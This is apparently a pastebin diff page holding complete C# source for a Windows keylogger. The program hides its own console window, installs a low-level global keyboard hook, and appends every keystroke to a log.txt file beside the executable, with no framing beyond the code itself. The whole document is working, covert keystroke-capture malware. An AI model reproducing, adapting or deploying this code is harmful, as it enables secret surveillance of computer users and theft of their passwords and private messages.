View difference between Paste ID: gGWaLiYX and nPmn7wAW

 using System;
 using System.Diagnostics;
 using System.Windows.Forms;
 using System.Runtime.InteropServices;
 using System.IO;
 
 class InterceptKeys
 {
     private const int WH_KEYBOARD_LL = 13;
     private const int WM_KEYDOWN = 0x0100;
     private static LowLevelKeyboardProc _proc = HookCallback;
     private static IntPtr _hookID = IntPtr.Zero;
 
     public static void Main()
     {
         var handle = GetConsoleWindow();
 
         // Hide
         ShowWindow(handle, SW_HIDE);
 
         _hookID = SetHook(_proc);
         Application.Run();
         UnhookWindowsHookEx(_hookID);
 
     }
 
     private static IntPtr SetHook(LowLevelKeyboardProc proc)
     {
         using (Process curProcess = Process.GetCurrentProcess())
         using (ProcessModule curModule = curProcess.MainModule)
         {
             return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
                 GetModuleHandle(curModule.ModuleName), 0);
         }
     }
 
     private delegate IntPtr LowLevelKeyboardProc(
         int nCode, IntPtr wParam, IntPtr lParam);
 
     private static IntPtr HookCallback(
         int nCode, IntPtr wParam, IntPtr lParam)
     {
         if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
         {
             int vkCode = Marshal.ReadInt32(lParam);
             Console.WriteLine((Keys)vkCode);
             StreamWriter sw = new StreamWriter(Application.StartupPath+ @"\log.txt",true);
             sw.Write((Keys)vkCode);
             sw.Close();
         }
         return CallNextHookEx(_hookID, nCode, wParam, lParam);
     }
 
     [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
     private static extern IntPtr SetWindowsHookEx(int idHook,
         LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
 
     [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
     [return: MarshalAs(UnmanagedType.Bool)]
     private static extern bool UnhookWindowsHookEx(IntPtr hhk);
 
     [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
     private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
         IntPtr wParam, IntPtr lParam);
 
     [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
     private static extern IntPtr GetModuleHandle(string lpModuleName);
 
     [DllImport("kernel32.dll")]
     static extern IntPtr GetConsoleWindow();
 
     [DllImport("user32.dll")]
     static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
 
     const int SW_HIDE = 0;
 
 }